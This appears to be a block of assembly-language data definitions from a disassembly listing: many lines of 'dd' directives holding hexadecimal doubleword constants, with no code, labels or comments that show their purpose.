		dd 9C935D47h, 82097335h, 0BC49DE7Ch, 2E2862B0h,	7343045Bh
		dd 0C8510784h, 297DAA25h, 0A909C02Bh, 21873486h, 4FCD0609h
		dd 2B940064h, 0A9FC6E2Ah, 0DC42F2B0h, 0D31848C9h, 0FBB30009h
		dd 773D4165h, 9A2035DBh, 3B30B107h, 1418BB78h, 30170801h
		dd 432862DAh, 10D130E1h, 2E2BAE28h, 3084203Fh, 6A0355E1h
		dd 8097828h, 0EF8D250h,	8DCF11C0h, 0F4D9F110h, 7469C0D7h
		dd 9952FB5h, 0D4C9F42Ch, 888F815h, 3CD13340h, 36571376h
		dd 52C880F4h, 7E888EA9h, 9E6E0333h, 4105B8B1h, 64581DFAh
		dd 1CAF600Fh, 3D722267h, 0BA6C401Fh, 699C0705h,	0C17D848Bh
		dd 489E681Dh, 0E400290Ch, 0F4D40D67h, 58B7DF33h, 2100B8DAh
		dd 0ACF614DEh, 3828527Dh, 0A32E4082h, 0AD9300A8h, 8F08549Ah
		dd 1E89E2ECh, 3AEC6E64h, 472BD3h, 2B2CEE1h, 27066329h
		dd 30A0FFF1h, 542678C4h, 700E8098h, 0A0064131h,	2EF9CEB3h
		dd 343E407Ch, 3836F19h,	0A6F057C8h, 2898ADh, 0BBF45D5Ah
		dd 0CF6ADCC4h, 4B793B09h, 6EE0095Eh, 0D4E55470h, 19F91D02h
		dd 0E0BA0104h, 0F1525Ch, 61202DB0h, 96B559AFh, 7E570054h
		dd 1019C949h, 8C70BC92h, 675DC800h, 972159Ah, 0AF621487h
		dd 0CF00A8AEh, 187F8F44h, 2498810Ah, 828B0600h,	0C3761B17h
		dd 0D7FB0AC2h, 1B8D8E2h, 9E675729h, 87B08F33h, 0F7479EFAh
		dd 0B0D35A6Fh, 4C184832h, 5405ACD4h, 2792EE2Eh,	525E5484h
		dd 98CDFA00h, 0EB1A63h,	0C67EF25Bh, 1FAD3C62h, 0F8C30F31h
		dd 2208F440h, 0B1108A42h, 964584BBh, 22817838h,	10F8B056h
		dd 2E1BF95h, 316014CEh,	0DC2C3404h, 0F8008688h,	5AD9B08Fh
		dd 0EE8479CEh, 0A73A00E7h, 0FF740EEAh, 32518A52h, 850FD8A0h
		dd 81CE6C3Fh, 3C8FDB3Bh, 0A860768Bh, 0E0F51D28h, 3CE3DC90h
		dd 9C0C4507h, 53E2004h,	0F501EB2Bh, 0A73CC88Fh,	204E9B1Dh
		dd 9CDA3711h, 493C2E40h, 0FA486BFh, 7673FECDh, 910F1400h
		dd 49C4EDEBh, 49C04D0Ah, 0CAA6A70h, 0C27218F8h,	8960A408h
		dd 0DA1D9C20h, 0EF6A0E4Fh, 4D074B2Eh, 766301B8h, 0ECA09F1Eh
		dd 8FED0BC0h, 1419FAh, 0F1931248h, 6072D0F0h, 9007617Ah
		dd 0EECD69D2h, 27328910h, 0E64C0916h, 1D0C74CCh, 0E00087C8h
		dd 6C66ED19h, 55D67532h, 88BE8015h, 171B5A0Dh, 0A505E068h
		dd 85DEE900h, 7B1015F0h, 57E71B8Ah, 3AE82113h, 0B776E8E9h
		dd 0A6FF803h, 311FA66h,	7D3F0950h, 59009405h, 16D8DDEFh
		dd 0E3DB06Ah, 39EB14DBh, 203AF286h, 0DC07A203h,	0F04D1C37h
		dd 35F4C7Bh, 0C28AEE61h, 0D000DD46h, 58EC2E01h,	1373508h
		dd 0A79D7013h, 70CEE7D2h, 4700B2E6h, 0B3F4E4ADh, 1F02DD57h
		dd 409A4DA3h, 0C18B6E40h, 8C735AF5h, 0B80078ECh, 6527A979h
		dd 388D735h, 95D94D29h,	0C4124502h, 61012D7Eh, 56CBFF0Eh
		dd 0DCB0D0h, 0E33CE675h, 3F8464BDh, 855FF500h, 0F7E424EAh
		dd 39971CBh, 0AABF8B44h, 0AFB07392h, 1300D150h,	0F7CA652Bh
		dd 0B47197h, 23ED8F8Ch,	28A8A0E3h, 18942A34h, 7CE5AF00h
		dd 0CECA412h, 0EA93063Dh, 710F9190h, 0A0638076h, 0DE60FFCAh
		dd 821F0749h, 867078F3h, 80018A3h, 0EB7BFB25h, 783B79A5h
		dd 0F1BE1E1Fh, 1B9D3E59h, 99CEC018h, 0ECB1012Dh, 35D29100h
		dd 9B882839h, 0FBEE008Bh, 597F3E02h, 0D8737892h, 0C284E8F9h
		dd 0A0AFC00Fh, 0C8728160h, 470089ABh, 0EC1ECDF7h, 4CC0CF82h
		dd 0D96F0913h, 0EEE703FEh, 7F1E95F1h, 0E0E43889h, 8A713C05h
		dd 6028183Ah, 0AF104D40h, 5F70C07Ah, 0ABB842CCh, 0C13CF106h
		dd 7187BAEh, 0A2A612A4h
		dd 5A3E6144h, 8547E073h, 0C293E900h, 5BB17A01h,	9D6C1884h
		dd 82ED5846h, 4AF08B18h, 42AAC191h, 2C3724E2h, 54FF9030h
		dd 0C8EB6105h, 9D873507h, 5911FBE8h, 748E59A6h,	0FA2C6C00h
		dd 0EF61FF92h, 6F050C12h, 4C6840B2h, 488B7130h,	591BE2h
		dd 9A49ACDFh, 0B8CA6C3Fh, 0AAEA1E00h, 2D55ED3Ch, 0C279032Fh
		dd 868162F6h, 0EBBE7AA1h, 0AD85DE00h, 6EC004F9h, 98A26617h
		dd 8A00C1E5h, 2B54C305h, 3DBC09h, 0D08E4FFFh, 0C22EB843h
		dd 0EA8A9C0Ah, 0E680BC47h, 0BCC579D6h, 0B3130678h, 49260309h
		dd 86F5EDE2h, 0FA1E0E29h, 4D780019h, 59727062h,	7B00AF31h
		dd 2AA4CDC5h, 3EB6AD80h, 70018581h, 2B15638h, 0FA7EE4FBh
		dd 0A10CE6F2h, 48858CE2h, 23AE006Fh, 0A20297A9h, 2C3F5A3Ch
		dd 0AF068003h, 5038205Bh, 91D619F9h, 0CC34B16Dh, 0E1002FEBh
		dd 51E3E7AAh, 0FAE893h,	9D02CC81h, 3F343CEEh, 0D00C8E2h
		dd 6F5F80F5h, 0F4EA53Ah, 0CFCB18ACh, 88649700h,	0D700DCADh
		dd 511153E3h, 65AB63h, 18AA28D6h, 5FA6660Fh, 0F0F336B0h
		dd 10C06AE3h, 0D431DE94h, 0A4AC0444h, 0AAE9CA7Fh, 8FF961C0h
		dd 0CBDA00C2h, 828ECC2Fh, 530E62FDh, 602DF0BFh,	6AF8934Ch
		dd 389800A1h, 87B6A625h, 6375409Ah, 0D9C71800h,	2C803BDBh
		dd 0A3BB24B5h, 0ED740082h, 0FFF266C9h, 68614501h, 8479E9DEh
		dd 7EEFDFD0h, 75580E13h, 0BB21E092h, 0E693A2B0h, 7C405BC2h
		dd 83000EACh, 0ADB95933h, 90EFAEh, 0B789C5EDh, 3476C6E9h
		dd 926F2E16h, 77818B01h, 52F4AECFh, 32E60387h, 0B07E3EC7h
		dd 0C1C0C0D3h, 0A300743Bh, 7A9EDE0Fh, 321CC12h,	0A53DAAACh
		dd 2E9060BDh, 0D00583Bh, 6618A88h, 7CF14779h, 73E4031Fh
		dd 0B6DCD56Dh, 46C8E293h, 2800DACAh, 0A12BCF8Eh, 2D3FDDh
		dd 7713B41Bh, 0C2F71F74h, 2B6C839h, 2046C726h, 92B96059h
		dd 0BC8F3A0Bh, 0B47E770Eh, 3E51860h, 0FE8DC52h,	6FE83200h
		dd 3C937C04h, 31BD007Dh, 8019D617h, 280368C8h, 0A8C582E2h
		dd 792879AEh, 86720018h, 4AC43FF4h, 8000DB6Dh, 57C72050h
		dd 1AE4DA0h, 0C123EAF7h, 8058B340h, 34B9C688h, 476A5Eh
		dd 0BCED3BB5h, 4098BB4Eh, 56C5F700h, 0DFA9587Eh, 967564h
		dd 5E3F9D2Dh, 0ACDEBC07h, 78898207h, 0E394B3D2h, 0B8640880h
		dd 26FC00B9h, 0EBF8D579h, 0E8002D86h, 43B0A55Dh, 214C8Dh
		dd 46EB4C7h, 0AE3AD89Dh, 0BB3A0BF8h, 0D0EBB0EEh, 1DF308Ah
		dd 2B959070h, 0FBE4D6CEh, 2750BE05h, 8487B1D5h,	0C06361F2h
		dd 4C75B7h, 0A440064Ah,	0D86C539Ah, 0FE792E07h,	2B90B73Bh
		dd 1D5749DCh, 87120DB2h, 3071A521h, 895C059Eh, 87B30C0Fh
		dd 9C760072h, 6A3807h, 0EE6E3F17h, 23B02612h, 0D30FC700h
		dd 48C218F9h, 735AFC3Ah, 417713F6h, 9479F0A5h, 15FBE00Fh
		dd 4DA8C001h, 9012E889h, 0F284045Fh, 800A291Eh,	80AEF9DDh
		dd 1F0E4598h, 0A4EF0C4Fh, 9183E2B2h, 3D02E8A5h,	0C994830h
		dd 0E9D3B501h, 606964CBh, 50003E4Eh, 897B081Dh,	41A6E4h
		dd 974668E6h, 0B3D4B4FDh, 0F09FCA28h, 3D030EECh, 0BE6CDC99h
		dd 0C5C0AD13h, 9272A0B0h, 0AD30030h, 0F2BBCAA9h, 0EA0054E2h
		dd 33E7C215h, 0D2289Fh,	77F5F4D5h, 1976A9DAh, 0F7AB5700h
		dd 2ED94E25h, 58010550h, 9A0439Fh, 2C111390h, 0B0F8DC3Bh
		dd 0B979600h, 854C050Ch, 238D0013h, 915471D9h, 3700C845h
		dd 1953AB0Eh, 1F46F52Ah, 8F6D55FAh, 0C2408F7Ch,	0EC71FD24h
		dd 0F14EE400h, 0E71E8349h, 0D19E0022h, 41DF0FE6h, 0AA00B819h
		dd 0A45D10BDh, 482D8AE2h, 0BA009933h, 6D2280C9h, 0EC30F187h
		dd 0A9BC1908h, 1AD00CFh, 7EC71776h, 46705388h, 0B6653000h
		dd 1CBB7890h, 2EF89Ah, 524FDC97h, 5384B0C5h, 98F22C00h
		dd 9C3CBE0Ah, 0EDCE00C6h, 73385DABh, 0F500EA32h, 112EAD3Dh
		dd 4C0D16B9h, 5400C657h, 29019C42h, 27005BCCh, 4CCA6BB1h
		dd 3B2F0B75h, 28033ADDh, 0A2EA20E8h, 985B4698h,	0D58ECA00h
		dd 7C24ADB6h, 57750045h, 2E7E3378h, 4801EDCFh, 996C5D5Bh
		dd 0A832E11Ah, 0DF266F0Bh, 1D180080h, 6701F6BAh, 0C3B121B6h
		dd 0EC40DD3Eh, 4D553804h, 0BE0F4818h, 0AC4023C6h, 0BC14C886h
		dd 0B22EF207h, 40BF4C7Dh, 0FFC5AB4Bh, 0BF307BDh, 808A5FA1h
		dd 0E8FEF969h, 8056423Ch, 0B2E75E81h, 8C92D1h, 0B3120E6Ah
		dd 11EE15FEh, 0A80C6800h, 2B1FA1E7h, 94CE3E1Bh,	0F20059B8h
		dd 0AD7E37DBh, 187188BAh, 0C316DA00h, 0FCA53F82h, 6EF91E78h
		dd 0D2BC0001h, 80C49A27h, 3E31F43Ah, 80783B61h,	983389E0h
		dd 0ECA4792Ch, 7B18005Ah, 598C1373h, 0EE00C6E8h, 2F1A37D4h
		dd 4CCCEA95h, 0E70040DEh, 0C5B3216Dh, 9D00631Ch, 0F747AC2h
		dd 0E233DCh, 7DB91B7Ch,	0F422698Fh, 0EE47EF00h,	1AB25891h
		dd 11A00654h, 70AD4266h, 15192200h, 29D645Ch, 0D13E12D4h
		dd 0BB8800A4h, 8CDD2B0Fh, 9401A9F6h, 9A81826Ah,	0D5F0CE23h
		dd 535800DFh, 7788C80h,	0E100921Ch, 3EEDB5E6h, 32DD5AFh
		dd 6FCB40F1h, 7DA0C5C2h, 5F008D8Bh, 1EB60170h, 90168F39h
		dd 59650008h, 82581948h, 9600239Eh, 0FF6BCBEh, 623181h
		dd 15D7D9EBh, 0E712755h, 7CDB5A07h, 0CB08FF3h, 4EB82Bh
		dd 0E28153F7h, 49153A9Dh, 0D4221407h, 6434F45Bh, 725FADC0h
		dd 4AC80081h, 0CCAFF69Bh, 0AB00A617h, 29286BA9h, 3ABDC4B8h
		dd 7780F4CEh, 0A3EA9D43h, 7B39FE98h, 14400156h,	615AA968h
		dd 0F31BC8h, 6A9EBB85h,	0A4F539A0h, 0E2A3EF00h,	0FB6D573Eh
		dd 0FDB900C2h, 0DC40912Fh, 0E54C4BE4h, 457F007Ah, 55D3FFE2h
		dd 0F662E8D9h, 6BDA0098h, 16B0C4E3h, 0A000A7A1h, 0D07FE109h
		dd 0AB4931h, 0F279840Bh, 94BEC257h, 5C129900h, 0A0CC6887h
		dd 7A900005h, 0D466BD30h, 0B03E2D8Fh, 0E8BAC7h,	0DE323ACDh
		dd 1A52C7Ah, 2530DC0h, 30BE8473h, 0CC00DAA2h, 0EA2B4CD6h
		dd 28BD6241h, 18759AAh,	43E9335Fh, 0C4B12CE1h, 4F04A972h
		dd 0B922D179h, 0C10BEB80h, 8EE50095h, 12352DE9h, 700B4F3h
		dd 1A47421h, 4CF515h, 0DBEB8C51h, 178B69CCh, 0A91D3400h
		dd 5312099Dh, 0B98D00B4h, 6BA4A823h, 7E00A160h,	55E9405Ch
		dd 32BC5DDh, 412A7886h,	0D4C89BF8h, 8800B1B5h, 6724BC3Bh
		dd 0A9AC96h, 1D2C04EAh,	9DA68D6Ch, 0BA009C98h, 18AF6629h
		dd 0FA75697h, 20F5142Dh, 0DC314103h, 0B8D9D0C7h, 110DE012h
		dd 80368221h, 762085C8h, 7690C0A0h, 7BDB9C95h, 360F8E74h
		dd 0C06864AEh, 37148796h, 6A323150h, 0E016EF10h, 5818A9FAh
		dd 0D820BF2Bh, 0AF5F9E3h, 8F962841h, 74A31885h,	0B1588034h
		dd 0A5171D9Dh, 0B600C5B6h, 78E74D42h, 5DFD01FFh, 402AD6E4h
		dd 2860819Ah, 19B5B494h, 0CD5E2843h, 0FADE5C07h, 0A466A701h
		dd 50EB2C70h, 0B61432h,	0A15EC954h, 0C482F7FBh,	0A98A6F07h
		dd 8F0C81Dh, 5B40DEh, 692FA72Bh, 0E302B6C0h, 529A7500h
		dd 9E1E3E79h, 6D9E0E7h,	0F6DC6F40h, 0B1ECA808h,	5229BC00h
		dd 6812AFFCh, 0CFD100B9h, 0B6A3EC39h, 6D07E023h, 583315A2h
		dd 84B02A87h, 785D0BF1h, 0BC2800DCh, 25D1461Bh,	5BFEA73Bh
		dd 9E9EA938h, 75C052D0h, 4889CA82h, 0C0110E16h,	0C20034Ah
		dd 0EC77DA61h, 0D8F84D78h, 12DC3Dh, 0F8F352CFh,	38364AC2h
		dd 1683D94Bh, 9AE64F3Ch, 0C4122839h, 37C5400Fh,	0DB808500h
		dd 0AE063AB7h, 84BE03FAh, 0B0346E57h, 870880C4h, 1500AD48h
		dd 5A860D6Ah, 3D181D02h
		dd 8A261ABFh, 71A43A79h, 0A35C01BBh, 30B47A3Bh,	0C600669Eh
		dd 2B12750Dh, 3886BBB6h, 6E070E57h, 0A0D648B3h,	53D4388Dh
		dd 4B034BBEh, 0C76089EEh, 35774940h, 45C71C67h,	0A6D78074h
		dd 1C4B3C88h, 8D797D01h, 0B919348Eh, 72903270h,	81680016h
		dd 0A59C9BE8h, 0EF07F02Ah, 952251F9h, 0D5A2F650h, 0F8DFFB6Eh
		dd 0B862Dh, 6D69AC1Ah, 29A09B99h, 38020900h, 1F8AAB76h
		dd 22D90042h, 16523AD1h, 0BB508CC1h, 770028C0h,	146FFBFCh
		dd 1EBDB698h, 79A48539h, 0DFA0AD80h, 5292B15Ch,	0D67EB400h
		dd 2A387D98h, 15873BC3h, 0C1D0331Dh, 0B40D78CEh, 0B842F801h
		dd 0D57A89F4h, 960F7A00h, 3EB4DF2h, 1EF4018Bh, 0AB9F749Bh
		dd 0CC5C8043h, 0E1227173h, 0EB330053h, 0C3A38F70h, 7F009AF0h
		dd 6F739096h, 481A320Ch, 0F7001040h, 0CE615298h, 0D8B56E8Eh
		dd 1585077Ah, 21088FEAh, 0D4FC076Ah, 863F52F1h,	0B560F87h
		dd 7D44B3Eh, 0B7C079A2h, 0D70507h, 0E85DBF31h, 0CB76DBDCh
		dd 85943Eh, 630A7DE3h, 0F08B9961h, 57EC62h, 5F725668h
		dd 0C06704E5h, 7A479809h, 178981ADh, 9DC8F8Bh, 7D7C00E0h
		dd 73E4CDF8h, 0C83A1FA4h, 0F18A0052h, 0B6536F9h, 471033Dh
		dd 0B0CC6FD0h, 0A03E1800h, 76E6D795h, 71A7894h,	61AF5644h
		dd 0A1ADA032h, 27286D23h, 3F0C8668h, 18C84212h,	2141003Ah
		dd 0BEC478A0h, 3D00CCF5h, 0B24E9481h, 486EDC10h, 53002625h
		dd 17DBB03h, 1E00300Fh,	0C9A0E77Fh, 607B09h, 748B803Fh
		dd 871A29DBh, 2C00BBECh, 0F2E48E2h, 1EDE8A84h, 0C0237890h
		dd 7A9A0794h, 1760F10Eh, 157FCB11h, 5AE400ACh, 9691DB8Bh
		dd 0D400D713h, 0B3E5528Ah, 7DB9A2CDh, 0C57001AEh, 8B94AF76h
		dd 8ED97055h, 0ECA05A00h, 0B7996B45h, 499A00CFh, 296CBE10h
		dd 0F21C1306h, 0D2C0977Dh, 0EA657241h, 432800F9h, 33634DB4h
		dd 0F1017FBCh, 0E254D790h, 0BD70F3EEh, 76F45Dh,	0A2805C9Fh
		dd 5647C138h, 8D819C04h, 0A2800ACDh, 0CEF937h, 0CCACB87Eh
		dd 0D0789DCAh, 48F430Fh, 0ECF004Ch, 9091946Ah, 0F2CCEAD3h
		dd 93A00049h, 0F4B5547Ah, 8800E78Eh, 48BCD93Ah,	0C5215Dh
		dd 0C07E964Bh, 0B3030717h, 84222000h, 5C86690Dh, 5DB059h
		dd 0AA47D06Bh, 0BA6A5BAEh, 65A9E50Fh, 0EDCDC0B2h, 14079003h
		dd 0D4FE9116h, 3C807F3Fh, 0F14FE1B5h, 2E3FB79Fh, 6D6F8015h
		dd 0BE42201Dh, 0F58D0313h, 9DA2B97h, 0AB9B30B8h, 0CB00DCFAh
		dd 9FE0D670h, 187146B9h, 58F105FCh, 0B81EF716h,	0DE41DB19h
		dd 0D99F5582h, 0FAFE95D0h, 25C11DB6h, 9BA30185h, 0D03DC70Eh
		dd 5300EA0Fh, 19D8E7B8h, 0EFAE91Bh, 3888BDD6h, 24C52F80h
		dd 6375EBD9h, 0FC5D7A03h, 0D5C47DD2h, 413DB401h, 2AC46A90h
		dd 5F801E34h, 696587DDh, 7081F6F9h, 8EED3900h, 7C2F7438h
		dd 943701D4h, 897A8360h, 0C3F5DE2Bh, 469881Dh, 284A00D9h
		dd 0AEBA6C23h, 0DA0FAB73h, 8059C9DFh, 0D9C11555h, 438C074Ch
		dd 80E1F1E5h, 0A5B56813h, 92D1E00h, 10D64ECEh, 0F7750Ch
		dd 69E1677Ch, 0E43B3391h, 0A0002C90h, 0E904AA8Eh, 7842D07h
		dd 8A4886Dh, 3E3BA074h,	0AF007A6Bh, 0ACEB4909h,	0CD40D8h
		dd 12C84668h, 0A138D780h, 8252543Ah, 5892F12Fh,	5EF2C055h
		dd 0FBFE0027h, 6507135Ah, 0F03F0AD0h, 6EC580EDh, 287E25D7h
		dd 13E7821h, 0FB1D4217h, 7F83AAA2h, 0F25A2FB0h,	3EF50B70h
		dd 730087ACh, 99CBE159h, 9AA1E900h, 3F226928h, 0F92F0958h
		dd 90205641h, 33D195C4h, 7FC38400h, 0E083B8B3h,	892300EDh
		dd 769F3935h, 0EA01FAC6h, 0E91DF5E4h, 0B4C04866h, 0E1AF020Ah
		dd 2E436A93h, 58C0F483h, 2203ABF4h, 0D26EB0A4h,	39E0DD9Ch
		dd 789014EFh, 5250DC00h, 0B58C283Ch, 39242443h,	0F6BC20F3h
		dd 0CB6B0003h, 15E95E72h, 5F002D2Ch, 0D8C21959h, 4881C5EEh
		dd 430180A3h, 298FB5B1h, 40F2BDh, 17000F4Ch, 0C29807FDh
		dd 3C6C30FFh, 99005BD9h, 0B98E5EE5h, 0FD0EA5D4h, 93F458h
		dd 0CA734C51h, 0FA7912D3h, 0A6480087h, 0D73FF68Fh, 0BC5B5000h
		dd 0D53A371Ch, 76AFE76h, 0E54098DEh, 8D3BD00Eh,	2126C2E1h
		dd 1E0060EFh, 0A04787EDh, 60D90357h, 732F8659h,	0FE29C08Fh
		dd 0B5006E8Dh, 61D718A9h, 6C132Eh, 0F7DE4AA4h, 1CD45A1Dh
		dd 0EAA18A00h, 6102493Dh, 3FCB0EB8h, 10C02A55h,	5A7F6DBBh
		dd 3D13EEF4h, 0A91EB5C0h, 0ED562580h, 3E7EA1E2h, 0F2DF274h
		dd 65F692C0h, 7C043270h, 0C495A701h, 47036090h,	695B0762h
		dd 0B03EB671h, 0D6E8CE05h, 8EB51902h, 4035E9EAh, 0FB06B96h
		dd 31E2A769h, 0A65DB441h, 0C7F8F893h, 60BC1B02h, 0C03C9147h
		dd 0F0CA0271h, 632A0003h, 0C80A6AD2h, 0A703A27Fh, 0A492391Dh
		dd 3A8100BDh, 0BC9FE557h, 50730E43h, 656A011Eh,	19401028h
		dd 0B49B806Ch, 9C010AE8h, 99F17A18h, 0E48E4E14h, 5DC05209h
		dd 0E65A3D2Fh, 0BB9FA100h, 42F7E9AFh, 3B2C0E4Ch, 63640AAEh
		dd 99CD3E5h, 6830B883h,	5E655899h, 282C6FD0h, 2040F2E0h
		dd 889AA00Fh, 0A760F400h, 4F465B4Eh, 0FAB7445h,	1E5F4353h
		dd 0A5F15098h, 0A34E6CA0h, 634F4500h, 0C9A85ABCh, 0D47597h
		dd 2C82B67Bh, 585F36CAh, 3A4F1300h, 1E0FEF92h, 7DFC00AAh
		dd 0ED59791h, 0BA0059B7h, 986C1D3Eh, 7FC174ECh,	0E0C317D7h
		dd 0B951002Ah, 9570DFA1h, 7901D40Eh, 6F67002Eh,	0BD30E9h
		dd 5FDCC61Fh, 0DA1C50B4h, 21C8E700h, 404BC0DBh,	8F2039F9h
		dd 13B69C00h, 0B4EAAC35h, 0FE074FEEh, 1E3467D8h, 55104880h
		dd 2619004Eh, 6C8C121h,	3100EB0Ah, 5A99541Fh, 0A07EFAh
		dd 0C705E6E3h, 4A2167D4h, 0A8E8A203h, 0A826BCBDh, 54192898h
		dd 8294C1h, 9440D7FEh, 0E1CA5C88h, 7A2E1800h, 2A0228EFh
		dd 2CB90076h, 741ECCA1h, 0F800679Dh, 7DFA1CACh,	37B957Eh
		dd 0F1386904h, 0FFA0CFF0h, 0B516F757h, 5B098547h, 0E5C80F8h
		dd 4962284h, 0C93AAC92h, 0D58C0E8h, 0E2006C19h,	24754C90h
		dd 3571A78h, 50E3F81Eh,	808C1259h, 0DF19E4D8h, 363C501h
		dd 0C341217Ah, 70DE0EF0h, 11B50071h, 0C1299D1Bh, 52039ABFh
		dd 0B9120747h, 28E9E857h, 98CB00CFh, 0E8221AB1h, 0EF3E94F0h
		dd 38B9801Eh, 890A70B6h, 16EA3AF7h, 96506A07h, 0BF7EF0A1h
		dd 4E2844C2h, 0DD1EC02Fh, 5D00F523h, 0ED05AF84h, 773803FAh
		dd 1BBA20E0h, 3500807Bh, 4AEC875Bh, 4DCB4D16h, 17A8C6Fh
		dd 40F9703Ch, 41D5A99Ah, 0EA52A580h, 29D88643h,	2E038775h
		dd 0D3A9EFAh, 8323F981h, 0AEA72880h, 0BEB331CBh, 3926E44Ch
		dd 0C8448ADh, 0A8DD1F63h, 0A9AB0090h, 0C862201Ah, 0E40092B4h
		dd 0DEE006D6h, 4DDB9493h, 3100C8B3h, 8FBA01B9h,	0B47B1D8Bh
		dd 7F75A000h, 51C71337h, 0B6090068h, 58147BD5h,	4703302Ch
		dd 6504A050h, 0D90F8883h, 78E7651h, 39B0CF8Bh, 0C8A87C97h
		dd 0CB667D01h, 0CE76A40Ch, 76F665F4h, 2D0100BDh, 60694854h
		dd 0FE003F8Ch, 7DA9D39Dh, 9CA817h, 4A6B9EBDh, 38055EE7h
		dd 0A8B82B28h, 0A3019290h, 273BC41h, 40F2ED46h,	447965h
		dd 82F9432Ah, 2DB3D31Eh, 72926114h, 0F1120890h,	818300F3h
		dd 7862DEFDh, 0E0573C00h, 39E5BB89h, 1B920064h,	0FF69DD91h
		dd 2F007D87h, 84AD2CB8h, 0CBB69F6Ch, 0EC002480h, 0BDA2794Dh
		dd 58FB8E00h, 0F9C8083Fh, 9DB062Bh, 0B838BAE2h,	0BE67914h
		dd 0A0C502E1h, 689165B6h, 3C1E440h, 44C393FFh, 0F5B84F03h
		dd 0AB09B555h, 40BDF8F3h
		dd 58C98FB4h, 4E025AD6h, 0F14D1A54h, 1E60D88Eh,	34DBFDDCh
		dd 2C49D103h, 0C9C21666h, 0A9E473B0h, 0EBF4A8D7h, 540C031Ah
		dd 0D95DD3C1h, 1CB952E8h, 4DA54D3Fh, 3CDD00B4h,	0B88AEF56h
		dd 0D1511FDCh, 0F74B80ADh, 93A99BDBh, 81D8073Bh, 0F9558473h
		dd 91E9EA0Dh, 0FBBAF0h,	6B22AA19h, 8C7D2DDDh, 323ABC00h
		dd 0CB795CA2h, 20B7074Eh, 0A0781238h, 0E9CD8591h, 0EBC6B600h
		dd 15FF40D9h, 184F0042h, 0C378F6D6h, 0C000DAC8h, 323EE7Dh
		dd 0EA5E4170h, 8BD60010h, 7437D289h, 0BF00CCA0h, 0AADC140Dh
		dd 3E665BBCh, 0C8007A20h, 0BDD93F44h, 0A21F0433h, 0AE40E76Eh
		dd 4A83E3B3h, 3984011Ch, 0B42F56E0h, 0EF51806Ch, 537132A1h
		dd 0C988008Ch, 17AFD429h, 940085E6h, 18207FA7h,	0ABE344h
		dd 33E8EFE1h, 6F1F0EB9h, 99502F00h, 3E4E8619h, 0CBD300CCh
		dd 90C33FA8h, 507D937h,	0B6AEACC0h, 4FFF17A1h, 8576C02Bh
		dd 6500D5C7h, 0B5E0D0BEh, 1CB73FEDh, 406FB2C4h,	0F17818AFh
		dd 0F600FC6Dh, 0D684CB90h, 0E2F8DC8Dh, 0FB300E9h, 5C25403Bh
		dd 0AB0ECE7Fh, 0C0490417h, 0AC9C2A06h, 8AC300DBh, 36D0573Fh
		dd 8B62907Ah, 20F3D7A8h, 0E4B71CD6h, 0B4CAE81Ch, 4BC62507h
		dd 0D9432190h, 0B1660026h, 0CA23AEF9h, 0B3001EC4h, 0BB2560F2h
		dd 305B6873h, 3E6C4B30h, 4E00DA9Dh, 4498476h, 92F08Bh
		dd 8ECECCBDh, 81A25397h, 0AA7C147Ch, 2F16ACB8h,	1B0F73FAh
		dd 0C16C2067h, 478CB2h,	0B84C4ACBh, 0E9A8DF87h,	2C59DB00h
		dd 22C6DA7Ch, 181D06CAh, 50A05195h, 29E2041Ch, 8EC41AF0h
		dd 0F9A30C03h, 41215A9Ch, 0C0D2EC18h, 9E1E496h,	0FCC2A583h
		dd 315F2780h, 5900ADC1h, 79773487h, 0F2E586C9h,	3E0900D3h
		dd 3CB69BD2h, 8215E094h, 0E4D862h, 0DF87A9Ah, 2836Dh, 855607B0h
		dd 0B03E674h, 0FBE8D400h, 496116D3h, 0E13E0708h, 0D0DCB6C5h
		dd 0D0953F1Dh, 24DCB3Ah, 1AF2EA10h, 9040407Dh, 8EF7003Dh
		dd 0B9D7940Fh, 1E7D81A8h, 8165B73Ch, 4A151108h,	68807BC4h
		dd 473C32E1h, 0D075DEF1h, 14D9107h, 0DB10B1h, 0AB629233h
		dd 0F1A9001Dh, 54F216C7h, 6800A331h, 82FCD0A6h,	39C8A7ACh
		dd 3980CC63h, 690B924Ch, 70181DCDh, 3718650Eh, 46C000Fh
		dd 17559006h, 9D00B5F6h, 0ED156F26h, 907F317Bh,	0AF1C0079h
		dd 775463E5h, 0C80051BFh, 2D649C87h, 0F86F4F7h,	0D8B43221h
		dd 19BCE780h, 0C09DFFC7h, 2C0887D2h, 0F1D4203h,	45C1CE81h
		dd 0DC051C32h, 94EA3FA2h, 3C08500h, 9FCF48C4h, 99EA01A8h
		dd 0E8C8992h, 0FCB7ECCBh, 600F22B8h, 409DFD61h,	495C8B3Bh
		dd 84E500E8h, 30544AA0h, 2B0175C3h, 649612DAh, 97F04B03h
		dd 0C0BD0035h, 1FF7B41Bh, 341F78E5h, 0EC15710h,	8A193B15h
		dd 4F3EF4h, 0CE824AA9h,	0FB390A99h, 4B18C400h, 66F052E9h
		dd 3B2F005Eh, 0E979394h, 9800E2C5h, 15286FDCh, 486B4E0Bh
		dd 0A200888Ch, 5F766CFBh, 0E0017B50h, 3E3296D5h, 3C20CD83h
		dd 307DE613h, 8B18ECE7h, 2A004C53h, 0BD43E95Ah,	6DF229h
		dd 448CA60Bh, 0C1F62BBAh, 72AC0700h, 143585EDh,	3C0D07D3h
		dd 838F399Bh, 80CFC51Ah, 21FE4DEFh, 0D600A598h,	0E2270709h
		dd 63E1B022h, 0EFC710D0h, 0D37E4CC0h, 0E21780h,	2379A031h
		dd 56782860h, 7C475A00h, 0A3C8D7D3h, 8393071Ch,	0F0CA1E17h
		dd 4A66AD21h, 41E69401h, 9983ED5h, 30811CDCh, 574056BBh
		dd 61C7CC39h, 0DFE21Fh,	0BB2C0220h, 0F3BAE867h,	0C583E0h
		dd 5E12CA80h, 0FDCF3ED8h, 0B861589Ah, 54BC7F20h, 19FE6098h
		dd 0BF49F482h, 75100DCh, 4C66D15Eh, 0CC360071h,	0DF2928CAh
		dd 0DA019741h, 6D53265Ah, 34FCA3E8h, 97B0FFh, 2A22A4Fh
		dd 75B0D517h, 9624C41Fh, 786C0140h, 3B36D694h, 370E5044h
		dd 0E82031BCh, 0C7963B90h, 5761DC00h, 3C939A2Dh, 0B38A03BFh
		dd 56FEB873h, 4902F100h, 0CE855A33h, 2AB58A7h, 812E2700h
		dd 35A9ADC8h, 25001AF0h, 741FDFAEh, 0E6A8CE38h,	699400DAh
		dd 84680BBCh, 60009131h, 50CF3C39h, 5FE4ADh, 0F0CB063h
		dd 9CA28626h, 8413BC00h, 0A17EAF24h, 72E019Dh, 88AD2534h
		dd 0E48D30F3h, 0A3CF3000h, 0D141774h, 458E00F6h, 6327BBB1h
